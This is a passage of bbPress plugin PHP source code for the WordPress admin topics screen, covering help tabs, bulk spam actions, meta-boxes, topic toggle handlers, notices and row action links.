				'<p>' . __( 'Hovering over a row in the topics list will display action links that allow you to manage your topic. You can perform the following actions:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Edit</strong> takes you to the editing screen for that topic. You can also reach that screen by clicking on the topic title.',                            'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Stick</strong> will keep the selected topic &#8217;pinned&#8217; to the top the parent forum topic list.',                                                'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Stick <em>(to front)</em></strong> will keep the selected topic &#8217;pinned&#8217; to the top of ALL forums and be visable in any forums topics list.', 'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Approve</strong> will change the status from pending to publish.',                                                                                        'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Close</strong> will mark the selected topic as &#8217;closed&#8217; and disable the ability to post new replies to it.',                                  'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Spam</strong> removes your topic from this list and places it in the spam queue, from which you can permanently delete it.',                              'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Trash</strong> removes your topic from this list and places it in the trash, from which you can permanently delete it.',                                  'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>View</strong> will take you to your live site to view the topic.',                                                                                        'bbpress' ) . '</li>' .
				'</ul>'
		) );

		// Bulk Actions
		get_current_screen()->add_help_tab( array(
			'id'		=> 'bulk-actions',
			'title'		=> __( 'Bulk Actions', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'You can also edit, spam, or move multiple topics to the trash at once. Select the topics you want to act on using the checkboxes, then select the action you want to take from the Bulk Actions menu and click Apply.',           'bbpress' ) . '</p>' .
				'<p>' . __( 'When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected topics at once. To remove a topic from the grouping, just click the x next to its name in the Bulk Edit area that appears.', 'bbpress' ) . '</p>'
		) );

		// Help Sidebar
		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',     'bbpress' ) . '</p>' .
			'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>',  'bbpress' ) . '</p>'
		);
	}

	/**
	 * Contextual help for bbPress topic edit page
	 *
	 * @since 2.0.0 bbPress (r3119)
	 */
	public function new_help() {

		$customize_display = '<p>' . __( 'The title field and the big topic editing Area are fixed in place, but you can reposition all the other boxes using drag and drop, and can minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.', 'bbpress' ) . '</p>';

		get_current_screen()->add_help_tab( array(
			'id'      => 'customize-display',
			'title'   => __( 'Customizing This Display', 'bbpress' ),
			'content' => $customize_display,
		) );

		get_current_screen()->add_help_tab( array(
			'id'      => 'title-topic-editor',
			'title'   => __( 'Title and Topic Editor', 'bbpress' ),
			'content' =>
				'<p>' . __( '<strong>Title</strong> - Enter a title for your topic. After you enter a title, you&#8217;ll see the permalink below, which you can edit.', 'bbpress' ) . '</p>' .
				'<p>' . __( '<strong>Topic Editor</strong> - Enter the text for your topic. There are two modes of editing: Visual and HTML. Choose the mode by clicking on the appropriate tab. Visual mode gives you a WYSIWYG editor. Click the last icon in the row to get a second row of controls. The HTML mode allows you to enter raw HTML along with your topic text. You can insert media files by clicking the icons above the topic editor and following the directions. You can go to the distraction-free writing screen via the Fullscreen icon in Visual mode (second to last in the top row) or the Fullscreen button in HTML mode (last in the row). Once there, you can make buttons visible by hovering over the top area. Exit Fullscreen back to the regular topic editor.', 'bbpress' ) . '</p>'
		) );

		$publish_box = '<p>' . __( '<strong>Publish</strong> - You can set the terms of publishing your topic in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a topic or making it stay at the top of your blog indefinitely (sticky). Publish (immediately) allows you to set a future or past date and time, so you can schedule a topic to be published in the future or backdate a topic.', 'bbpress' ) . '</p>';

		if ( current_theme_supports( 'topic-thumbnails' ) && post_type_supports( bbp_get_topic_post_type(), 'thumbnail' ) ) {
			$publish_box .= '<p>' . __( '<strong>Featured Image</strong> - This allows you to associate an image with your topic without inserting it. This is usually useful only if your theme makes use of the featured image as a topic thumbnail on the home page, a custom header, etc.', 'bbpress' ) . '</p>';
		}

		get_current_screen()->add_help_tab( array(
			'id'      => 'topic-attributes',
			'title'   => __( 'Topic Attributes', 'bbpress' ),
			'content' =>
				'<p>' . __( 'Select the attributes that your topic should have:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Forum</strong> dropdown determines the parent forum that the topic belongs to. Select the forum or category from the dropdown, or leave the default "No forum" to post the topic without an assigned forum.', 'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Topic Type</strong> dropdown indicates the sticky status of the topic. Selecting the super sticky option would stick the topic to the front of your forums, i.e. the topic index, sticky option would stick the topic to its respective forum. Selecting normal would not stick the topic anywhere.', 'bbpress' ) . '</li>' .
				'</ul>'
		) );

		get_current_screen()->add_help_tab( array(
			'id'      => 'publish-box',
			'title'   => __( 'Publish Box', 'bbpress' ),
			'content' => $publish_box,
		) );

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
			'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
		);
	}

	/**
	 * Add spam/unspam bulk actions to the bulk action dropdown.
	 *
	 * @since 2.6.0 bbPress (r6101)
	 *
	 * @param array $actions The list of bulk actions.
	 * @return array The filtered list of bulk actions.
	 */
	public function bulk_actions( $actions ) {

		if ( current_user_can( 'moderate' ) ) {
			if ( bbp_get_spam_status_id() === get_query_var( 'post_status' ) ) {
				$actions['unspam'] = esc_html__( 'Unspam', 'bbpress' );
			} else {
				$actions['spam'] = esc_html__( 'Spam', 'bbpress' );
			}
		}

		return $actions;
	}

	/**
	 * Add custom bulk action updated messages for topics.
	 *
	 * @since 2.6.0 bbPress (r6101)
	 *
	 * @param array $bulk_messages Arrays of messages, each keyed by the corresponding post type.
	 * @param array $bulk_counts   Array of item counts for each message, used to build internationalized strings.
	 */
	public function bulk_post_updated_messages( $bulk_messages, $bulk_counts ) {
		$bulk_messages['topic']['updated'] = _n( '%s topic updated.', '%s topics updated.', $bulk_counts['updated'], 'bbpress' );
		$bulk_messages['topic']['locked']  = ( 1 === $bulk_counts['locked'] )
			? __( '1 topic not updated, somebody is editing it.', 'bbpress' )
			: _n( '%s topic not updated, somebody is editing it.', '%s topics not updated, somebody is editing them.', $bulk_counts['locked'], 'bbpress' );

		return $bulk_messages;
	}

	/**
	 * Handle spam/unspam bulk actions.
	 *
	 * @since 2.6.0 bbPress (r6101)
	 *
	 * @param string $sendback The sendback URL.
	 * @param string $doaction The action to be taken.
	 * @param array  $post_ids The post IDS to take the action on.
	 * @return string The sendback URL.
	 */
	public function handle_bulk_actions( $sendback, $doaction, $post_ids ) {

		$sendback = remove_query_arg( array( 'spam', 'unspam' ), $sendback );
		$updated = $locked = 0;

		if ( 'spam' === $doaction ) {

			foreach ( (array) $post_ids as $post_id ) {
				if ( ! current_user_can( 'moderate', $post_id ) ) {
					wp_die( esc_html__( 'Sorry, you are not allowed to spam this item.', 'bbpress' ) );
				}

				if ( wp_check_post_lock( $post_id ) ) {
					$locked++;
					continue;
				}

				if ( ! bbp_spam_topic( $post_id ) ) {
					wp_die( esc_html__( 'Error in spamming topic.', 'bbpress' ) );
				}

				$updated++;
			}

			$sendback = add_query_arg( array(
				'updated' => $updated,
				'ids'     => implode( ',', $post_ids ),
				'locked'  => $locked
			), $sendback );

		} elseif ( 'unspam' === $doaction ) {

			foreach ( (array) $post_ids as $post_id ) {
				if ( ! current_user_can( 'moderate', $post_id ) ) {
					wp_die( esc_html__( 'Sorry, you are not allowed to unspam this topic.', 'bbpress' ) );
				}

				if ( wp_check_post_lock( $post_id ) ) {
					$locked++;
					continue;
				}

				if ( ! bbp_unspam_topic( $post_id ) ) {
					wp_die( esc_html__( 'Error in unspamming topic.', 'bbpress' ) );
				}

				$updated++;
			}

			$sendback = add_query_arg( array(
				'updated' => $updated,
				'ids'     => implode( ',', $post_ids ),
				'locked'  => $locked
			), $sendback );
		}

		return $sendback;
	}

	/**
	 * Add the topic attributes meta-box
	 *
	 * @since 2.0.0 bbPress (r2744)
	 */
	public function attributes_metabox() {
		add_meta_box(
			'bbp_topic_attributes',
			esc_html__( 'Topic Attributes', 'bbpress' ),
			'bbp_topic_metabox',
			$this->post_type,
			'side',
			'high'
		);
	}

	/**
	 * Add the author info meta-box
	 *
	 * @since 2.0.0 bbPress (r2828)
	 */
	public function author_metabox() {

		// Bail if post_type is not a topic
		if ( empty( $_GET['action'] ) || ( 'edit' !== $_GET['action'] ) ) {
			return;
		}

		// Add the meta-box
		add_meta_box(
			'bbp_author_metabox',
			esc_html__( 'Author Information', 'bbpress' ),
			'bbp_author_metabox',
			$this->post_type,
			'side',
			'high'
		);
	}

	/**
	 * Add the replies meta-box
	 *
	 * Allows viewing & moderating of replies to a topic, based on the way
	 * comments are visible on a blog post.
	 *
	 * @since 2.6.0 bbPress (r5886)
	 */
	public function replies_metabox() {

		// Bail if post_type is not a reply
		if ( empty( $_GET['action'] ) || ( 'edit' !== $_GET['action'] ) ) {
			return;
		}

		// Add the meta-box
		add_meta_box(
			'bbp_topic_replies_metabox',
			esc_html__( 'Replies', 'bbpress' ),
			'bbp_topic_replies_metabox',
			$this->post_type,
			'normal',
			'high'
		);
	}

	/**
	 * Add the engagements meta-box
	 *
	 * Allows viewing of users who have engaged in a topic.
	 *
	 * @since 2.6.0 bbPress (r6333)
	 */
	public function engagements_metabox() {

		// Bail when creating a new topic
		if ( empty( $_GET['action'] ) || ( 'edit' !== $_GET['action'] ) ) {
			return;
		}

		// Bail if no engagements
		if ( ! bbp_is_engagements_active() ) {
			return;
		}

		// Add the meta-box
		add_meta_box(
			'bbp_topic_engagements_metabox',
			esc_html__( 'Engagements', 'bbpress' ),
			'bbp_topic_engagements_metabox',
			$this->post_type,
			'side',
			'low'
		);
	}

	/**
	 * Add the favorites meta-box
	 *
	 * Allows viewing of users who have favorited a topic.
	 *
	 * @since 2.6.0 bbPress (r6197)
	 */
	public function favorites_metabox() {

		// Bail if post_type is not a reply
		if ( empty( $_GET['action'] ) || ( 'edit' !== $_GET['action'] ) ) {
			return;
		}

		// Bail if no favorites
		if ( ! bbp_is_favorites_active() ) {
			return;
		}

		// Add the meta-box
		add_meta_box(
			'bbp_topic_favorites_metabox',
			esc_html__( 'Favorites', 'bbpress' ),
			'bbp_topic_favorites_metabox',
			$this->post_type,
			'normal',
			'high'
		);
	}

	/**
	 * Add the subscriptions meta-box
	 *
	 * Allows viewing of users who have subscribed to a topic.
	 *
	 * @since 2.6.0 bbPress (r6197)
	 */
	public function subscriptions_metabox() {

		// Bail if post_type is not a reply
		if ( empty( $_GET['action'] ) || ( 'edit' !== $_GET['action'] ) ) {
			return;
		}

		// Bail if no subscriptions
		if ( ! bbp_is_subscriptions_active() ) {
			return;
		}

		// Add the meta-box
		add_meta_box(
			'bbp_topic_subscriptions_metabox',
			esc_html__( 'Subscriptions', 'bbpress' ),
			'bbp_topic_subscriptions_metabox',
			$this->post_type,
			'normal',
			'high'
		);
	}

	/**
	 * Remove comments & discussion meta-boxes if comments are not supported
	 *
	 * @since 2.6.0 bbPress (r6186)
	 */
	public function comments_metabox() {
		if ( ! post_type_supports( $this->post_type, 'comments' ) ) {
			remove_meta_box( 'commentstatusdiv', $this->post_type, 'normal' );
			remove_meta_box( 'commentsdiv',      $this->post_type, 'normal' );
		}
	}

	/**
	 * Pass the topic attributes for processing
	 *
	 * @since 2.0.0 bbPress (r2746)
	 *
	 * @param int $topic_id Topic id
	 * @return int Parent id
	 */
	public function save_meta_boxes( $topic_id ) {

		// Bail if doing an autosave
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $topic_id;
		}

		// Bail if not a post request
		if ( ! bbp_is_post_request() ) {
			return $topic_id;
		}

		// Check action exists
		if ( empty( $_POST['action'] ) ) {
			return $topic_id;
		}

		// Nonce check
		if ( empty( $_POST['bbp_topic_metabox'] ) || ! wp_verify_nonce( $_POST['bbp_topic_metabox'], 'bbp_topic_metabox_save' ) ) {
			return $topic_id;
		}

		// Bail if current user cannot edit this topic
		if ( ! current_user_can( 'edit_topic', $topic_id ) ) {
			return $topic_id;
		}

		// Get the forum ID
		$forum_id = ! empty( $_POST['parent_id'] ) ? (int) $_POST['parent_id'] : 0;

		// Get topic author data
		$anonymous_data = bbp_filter_anonymous_post_data();
		$author_id      = bbp_get_topic_author_id( $topic_id );
		$is_edit        = ( isset( $_POST['hidden_post_status'] ) && ( $_POST['hidden_post_status'] !== 'draft' ) );

		// Formally update the topic
		bbp_update_topic( $topic_id, $forum_id, $anonymous_data, $author_id, $is_edit );

		// Allow other fun things to happen
		do_action( 'bbp_topic_attributes_metabox_save', $topic_id, $forum_id       );
		do_action( 'bbp_author_metabox_save',           $topic_id, $anonymous_data );

		return $topic_id;
	}

	/**
	 * Toggle topic
	 *
	 * Handles the admin-side opening/closing, sticking/unsticking and
	 * spamming/unspamming of topics
	 *
	 * @since 2.0.0 bbPress (r2727)
	 */
	public function toggle_topic() {

		// Bail if not a topic toggle action
		if ( ! bbp_is_get_request() || empty( $_GET['action'] ) || empty( $_GET['topic_id'] ) ) {
			return;
		}

		// Bail if not an allowed action
		$action = sanitize_key( $_GET['action'] );
		if ( empty( $action ) || ! in_array( $action, $this->get_allowed_action_toggles(), true ) ) {
			return;
		}

		// Bail if topic is missing
		$topic_id = bbp_get_topic_id( $_GET['topic_id'] );
		if ( ! bbp_get_topic( $topic_id ) ) {
			wp_die( esc_html__( 'The topic was not found.', 'bbpress' ) );
		}

		// What is the user doing here?
		if ( ! current_user_can( 'moderate', $topic_id ) ) {
			wp_die( esc_html__( 'You do not have permission to do that.', 'bbpress' ) );
		}

		// Defaults
		$post_data = array( 'ID' => $topic_id );
		$message   = '';
		$success   = false;

		switch ( $action ) {
			case 'bbp_toggle_topic_approve' :
				check_admin_referer( 'approve-topic_' . $topic_id );

				$is_approve = bbp_is_topic_public( $topic_id );
				$message    = ( true === $is_approve )
					? 'unapproved'
					: 'approved';
				$success    = ( true === $is_approve )
					? bbp_unapprove_topic( $topic_id )
					: bbp_approve_topic( $topic_id );

				break;

			case 'bbp_toggle_topic_close' :
				check_admin_referer( 'close-topic_' . $topic_id );

				$is_open = bbp_is_topic_open( $topic_id );
				$message = ( true === $is_open )
					? 'closed'
					: 'opened';
				$success = ( true === $is_open )
					? bbp_close_topic( $topic_id )
					: bbp_open_topic( $topic_id );

				break;

			case 'bbp_toggle_topic_stick' :
				check_admin_referer( 'stick-topic_' . $topic_id );

				$is_sticky = bbp_is_topic_sticky( $topic_id );
				$is_super  = ( false === $is_sticky ) && ! empty( $_GET['super'] ) && ( "1" === $_GET['super'] )
					? true
					: false;
				$message   = ( true  === $is_sticky )
					? 'unstuck'
					: 'stuck';
				$message   = ( true  === $is_super )
					? 'super_sticky'
					: $message;
				$success   = ( true  === $is_sticky )
					? bbp_unstick_topic( $topic_id )
					: bbp_stick_topic( $topic_id, $is_super );

				break;

			case 'bbp_toggle_topic_spam'  :
				check_admin_referer( 'spam-topic_' . $topic_id );

				$is_spam = bbp_is_topic_spam( $topic_id );
				$message = ( true === $is_spam )
					? 'unspammed'
					: 'spammed';
				$success = ( true === $is_spam )
					? bbp_unspam_topic( $topic_id )
					: bbp_spam_topic( $topic_id );

				break;
		}

		// Setup the message
		$retval = array(
			'bbp_topic_toggle_notice' => $message,
			'topic_id'                => $topic_id
		);

		// Prepare for failure
		if ( ( false === $success ) || is_wp_error( $success ) ) {
			$retval['failed'] = '1';
		}

		// Filter all message args
		$retval = apply_filters( 'bbp_toggle_topic_action_admin', $retval, $topic_id, $action );

		// Do additional topic toggle actions (admin side)
		do_action( 'bbp_toggle_topic_admin', $success, $post_data, $action, $retval );

		// Redirect back to the topic
		$redirect = add_query_arg( $retval, remove_query_arg( array( 'action', 'topic_id' ) ) );
		bbp_redirect( $redirect );
	}

	/**
	 * Toggle topic notices
	 *
	 * Display the success/error notices from
	 * {@link BBP_Admin::toggle_topic()}
	 *
	 * @since 2.0.0 bbPress (r2727)
	 */
	public function toggle_topic_notice() {

		// Bail if missing topic toggle action
		if ( ! bbp_is_get_request() || empty( $_GET['topic_id'] ) || empty( $_GET['bbp_topic_toggle_notice'] ) ) {
			return;
		}

		// Bail if not an allowed notice
		$notice = sanitize_key( $_GET['bbp_topic_toggle_notice'] );
		if ( empty( $notice ) || ! in_array( $notice, $this->get_allowed_notice_toggles(), true ) ) {
			return;
		}

		// Bail if no topic_id or notice
		$topic_id = bbp_get_topic_id( $_GET['topic_id'] );
		if (  empty( $topic_id ) ) {
			return;
		}

		// Bail if topic is missing
		if ( ! bbp_get_topic( $topic_id ) ) {
			return;
		}

		// Use the title in the responses
		$topic_title = bbp_get_topic_title( $topic_id );
		$is_failure  = ! empty( $_GET['failed'] );
		$message     = '';

		// Which notice?
		switch ( $notice ) {
			case 'opened'    :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem opening the topic "%1$s".', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully opened.',             'bbpress' ), $topic_title );
				break;

			case 'closed'    :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem closing the topic "%1$s".', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully closed.',             'bbpress' ), $topic_title );
				break;

			case 'super_sticky' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem sticking the topic "%1$s" to front.', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully stuck to front.',               'bbpress' ), $topic_title );
				break;

			case 'stuck'   :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem sticking the topic "%1$s".', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully stuck.',               'bbpress' ), $topic_title );
				break;

			case 'unstuck' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem unsticking the topic "%1$s".', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully unstuck.',               'bbpress' ), $topic_title );
				break;

			case 'spammed'   :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem marking the topic "%1$s" as spam.', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully marked as spam.',             'bbpress' ), $topic_title );
				break;

			case 'unspammed' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem unmarking the topic "%1$s" as spam.', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully unmarked as spam.',             'bbpress' ), $topic_title );
				break;

			case 'approved'   :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem approving the topic "%1$s".', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully approved.',             'bbpress' ), $topic_title );
				break;

			case 'unapproved' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem unapproving the topic "%1$s".', 'bbpress' ), $topic_title )
					: sprintf( esc_html__( 'Topic "%1$s" successfully unapproved.',             'bbpress' ), $topic_title );
				break;
		}

		// Do additional topic toggle notice filters (admin side)
		$message = apply_filters( 'bbp_toggle_topic_notice_admin', $message, $topic_id, $notice, $is_failure );
		$class   = ( $is_failure === true )
			? 'error'
			: 'updated';

		// Add the notice
		bbp_admin()->add_notice( $message, $class, true );
	}

	/**
	 * Returns an array of keys used to sort row actions
	 *
	 * @since 2.6.0 bbPress (r6771)
	 *
	 * @return array
	 */
	private function get_row_action_sort_order() {

		// Filter & return
		return (array) apply_filters( 'bbp_admin_topics_row_action_sort_order', array(
			'edit',
			'stick',
			'approved',
			'unapproved',
			'closed',
			'spam',
			'unspam',
			'trash',
			'untrash',
			'delete',
			'view'
		) );
	}

	/**
	 * Returns an array of notice toggles
	 *
	 * @since 2.6.0 bbPress (r6396)
	 *
	 * @return array
	 */
	private function get_allowed_notice_toggles() {

		// Filter & return
		return (array) apply_filters( 'bbp_admin_topics_allowed_notice_toggles', array(
			'opened',
			'closed',
			'super_sticky',
			'stuck',
			'unstuck',
			'spammed',
			'unspammed',
			'approved',
			'unapproved'
		) );
	}

	/**
	 * Returns an array of notice toggles
	 *
	 * @since 2.6.0 bbPress (r6396)
	 *
	 * @return array
	 */
	private function get_allowed_action_toggles() {

		// Filter & return
		return (array) apply_filters( 'bbp_admin_topics_allowed_action_toggles', array(
			'bbp_toggle_topic_close',
			'bbp_toggle_topic_stick',
			'bbp_toggle_topic_spam',
			'bbp_toggle_topic_approve'
		) );
	}

	/**
	 * Manage the column headers for the topics page
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param array $columns The columns
	 *
	 * @return array $columns bbPress topic columns
	 */
	public function column_headers( $columns ) {
		$columns = array(
			'cb'                    => '<input type="checkbox" />',
			'title'                 => esc_html__( 'Topics',    'bbpress' ),
			'bbp_topic_forum'       => esc_html__( 'Forum',     'bbpress' ),
			'bbp_topic_reply_count' => esc_html__( 'Replies',   'bbpress' ),
			'bbp_topic_voice_count' => esc_html__( 'Voices',    'bbpress' ),
			'bbp_topic_author'      => esc_html__( 'Author',    'bbpress' ),
			'bbp_topic_created'     => esc_html__( 'Created',   'bbpress' ),
			'bbp_topic_freshness'   => esc_html__( 'Last Post', 'bbpress' )
		);

		// Filter & return
		return (array) apply_filters( 'bbp_admin_topics_column_headers', $columns );
	}

	/**
	 * Print extra columns for the topics page
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param string $column Column
	 * @param int $topic_id Topic id
	 */
	public function column_data( $column, $topic_id ) {

		// Get topic forum ID
		$forum_id = bbp_get_topic_forum_id( $topic_id );

		// Populate column data
		switch ( $column ) {

			// Forum
			case 'bbp_topic_forum' :

				// Get title
				$forum_title = ! empty( $forum_id )
					? bbp_get_forum_title( $forum_id )
					: '';

				// Output forum name
				if ( ! empty( $forum_title ) ) {
					echo $forum_title;

				// Output dash
				} else {
					?>
					<span aria-hidden="true">&mdash;</span>
					<span class="screen-reader-text"><?php esc_html_e( 'No forum', 'bbpress' ); ?></span>
					<?php
				}

				break;

			// Reply Count
			case 'bbp_topic_reply_count' :
				bbp_topic_reply_count( $topic_id );
				break;

			// Reply Count
			case 'bbp_topic_voice_count' :
				bbp_topic_voice_count( $topic_id );
				break;

			// Author
			case 'bbp_topic_author' :
				bbp_topic_author_display_name( $topic_id );
				break;

			// Freshness
			case 'bbp_topic_created':
				printf( '%1$s <br /> %2$s',
					get_the_date(),
					esc_attr( get_the_time() )
				);

				break;

			// Freshness
			case 'bbp_topic_freshness' :
				$last_active = bbp_get_topic_last_active_time( $topic_id, false );
				if ( ! empty( $last_active ) ) {
					echo esc_html( $last_active );
				} else {
					esc_html_e( 'No Replies', 'bbpress' ); // This should never happen
				}

				break;

			// Do an action for anything else
			default :
				do_action( 'bbp_admin_topics_column_data', $column, $topic_id );
				break;
		}
	}

	/**
	 * Topic Row actions
	 *
	 * Remove the quick-edit action link under the topic title and add the
	 * content and close/stick/spam links
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param array  $actions Actions
	 * @param object $topic   Topic object
	 *
	 * @return array $actions Actions
	 */
	public function row_actions( $actions = array(), $topic = false ) {

		// Disable quick edit (too much to do here)
		unset( $actions['inline hide-if-no-js'] );

		// View link
		$view_link = bbp_get_topic_permalink( $topic->ID );

		// Maybe add view=all
		if ( ! in_array( $topic->post_status, array( bbp_get_closed_status_id(), bbp_get_public_status_id() ), true ) ) {
			$view_link = bbp_add_view_all( $view_link, true );
		}

		// Show view link if it's not set, the topic is trashed and the user can view trashed topics
		if ( empty( $actions['view'] ) && ( bbp_get_trash_status_id() === $topic->post_status ) && current_user_can( 'view_trash' ) ) {
			$actions['view'] = '<a href="' . esc_url( $view_link ) . '" title="' . esc_attr( sprintf( __( 'View &#8220;%s&#8221;', 'bbpress' ), bbp_get_topic_title( $topic->ID ) ) ) . '" rel="permalink">' . esc_html__( 'View', 'bbpress' ) . '</a>';
		}

		// Only show the actions if the user is capable of viewing them :)
		if ( current_user_can( 'moderate', $topic->ID ) ) {

			// Pending
			// Show the 'approve' and 'view' link on pending posts only and 'unapprove' on published posts only
			$approve_uri = wp_nonce_url( add_query_arg( array( 'topic_id' => $topic->ID, 'action' => 'bbp_toggle_topic_approve' ), remove_query_arg( array( 'bbp_topic_toggle_notice', 'topic_id', 'failed', 'super' ) ) ), 'approve-topic_' . $topic->ID );
			if ( bbp_is_topic_public( $topic->ID ) ) {
				$actions['unapproved'] = '<a href="' . esc_url( $approve_uri ) . '" title="' . esc_attr__( 'Unapprove this topic', 'bbpress' ) . '">' . _x( 'Unapprove', 'Unapprove Topic', 'bbpress' ) . '</a>';
			} else {

				// Do not show 'approve' if already public
				if ( ! bbp_is_topic_public( $topic->ID ) ) {
					$actions['approved'] = '<a href="' . esc_url( $approve_uri ) . '" title="' . esc_attr__( 'Approve this topic',   'bbpress' ) . '">' . _x( 'Approve',   'Approve Topic',   'bbpress' ) . '</a>';
				}

				// Modify the view link
				$actions['view'] = '<a href="' . esc_url( $view_link   ) . '" title="' . esc_attr( sprintf( __( 'View &#8220;%s&#8221;', 'bbpress' ), bbp_get_topic_title( $topic->ID ) ) ) . '" rel="permalink">' . esc_html__( 'View', 'bbpress' ) . '</a>';
			}

			// Close
			// Show the 'close' and 'open' link on published and closed posts only
			if ( bbp_is_topic_public( $topic->ID ) ) {
				$close_uri = wp_nonce_url( add_query_arg( array( 'topic_id' => $topic->ID, 'action' => 'bbp_toggle_topic_close' ), remove_query_arg( array( 'bbp_topic_toggle_notice', 'topic_id', 'failed', 'super' ) ) ), 'close-topic_' . $topic->ID );
				if ( bbp_is_topic_open( $topic->ID ) ) {
					$actions['closed'] = '<a href="' . esc_url( $close_uri ) . '" title="' . esc_attr__( 'Close this topic', 'bbpress' ) . '">' . _x( 'Close', 'Close a Topic', 'bbpress' ) . '</a>';
				} else {
					$actions['closed'] = '<a href="' . esc_url( $close_uri ) . '" title="' . esc_attr__( 'Open this topic',  'bbpress' ) . '">' . _x( 'Open',  'Open a Topic',  'bbpress' ) . '</a>';
				}
			}

			// Sticky
			// Dont show sticky if topic is spam, trash or pending
			if ( ! bbp_is_topic_spam( $topic->ID ) && ! bbp_is_topic_trash( $topic->ID ) && ! bbp_is_topic_pending( $topic->ID ) ) {
				$stick_uri = wp_nonce_url( add_query_arg( array( 'topic_id' => $topic->ID, 'action' => 'bbp_toggle_topic_stick' ), remove_query_arg( array( 'bbp_topic_toggle_notice', 'topic_id', 'failed', 'super' ) ) ), 'stick-topic_'  . $topic->ID );
				if ( bbp_is_topic_sticky( $topic->ID ) ) {
					$actions['stick'] = '<a href="' . esc_url( $stick_uri ) . '" title="' . esc_attr__( 'Unstick this topic', 'bbpress' ) . '">' . esc_html__( 'Unstick', 'bbpress' ) . '</a>';
				} else {
					$super_uri        = wp_nonce_url( add_query_arg( array( 'topic_id' => $topic->ID, 'action' => 'bbp_toggle_topic_stick', 'super' => '1' ), remove_query_arg( array( 'bbp_topic_toggle_notice', 'topic_id', 'failed', 'super' ) ) ), 'stick-topic_'  . $topic->ID );
					$actions['stick'] = '<a href="' . esc_url( $stick_uri ) . '" title="' . esc_attr__( 'Stick this topic to its forum', 'bbpress' ) . '">' . esc_html__( 'Stick', 'bbpress' ) . '</a> <a href="' . esc_url( $super_uri ) . '" title="' . esc_attr__( 'Stick this topic to front', 'bbpress' ) . '">' . esc_html__( '(to front)', 'bbpress' ) . '</a>';
				}
			}

			// Spam
			$spam_uri = wp_nonce_url( add_query_arg( array( 'topic_id' => $topic->ID, 'action' => 'bbp_toggle_topic_spam' ), remove_query_arg( array( 'bbp_topic_toggle_notice', 'topic_id', 'failed', 'super' ) ) ), 'spam-topic_'  . $topic->ID );
			if ( ! bbp_is_topic_spam( $topic->ID ) ) {
				$actions['spam'] = '<a href="' . esc_url( $spam_uri ) . '" title="' . esc_attr__( 'Mark this topic as spam',    'bbpress' ) . '">' . esc_html__( 'Spam',     'bbpress' ) . '</a>';
			} else {
				$actions['unspam'] = '<a href="' . esc_url( $spam_uri ) . '" title="' . esc_attr__( 'Mark the topic as not spam', 'bbpress' ) . '">' . esc_html__( 'Not Spam', 'bbpress' ) . '</a>';
			}
		}

		// Do not show trash links for spam topics, or spam links for trashed topics
		if ( current_user_can( 'delete_topic', $topic->ID ) ) {
			$trash_days = bbp_get_trash_days( bbp_get_topic_post_type() );

			if ( bbp_get_trash_status_id() === $topic->post_status ) {
				$post_type_object   = get_post_type_object( bbp_get_topic_post_type() );
				$actions['untrash'] = "<a title='" . esc_attr__( 'Restore this item from the Trash', 'bbpress' ) . "' href='" . esc_url( wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $topic->ID ) ), 'untrash-post_' . $topic->ID ) ) . "'>" . esc_html__( 'Restore', 'bbpress' ) . "</a>";
			} elseif ( ! empty( $trash_days ) ) {
				$actions['trash'] = "<a class='submitdelete' title='" . esc_attr__( 'Move this item to the Trash', 'bbpress' ) . "' href='" . esc_url( get_delete_post_link( $topic->ID ) ) . "'>" . esc_html__( 'Trash', 'bbpress' ) . "</a>";
			}

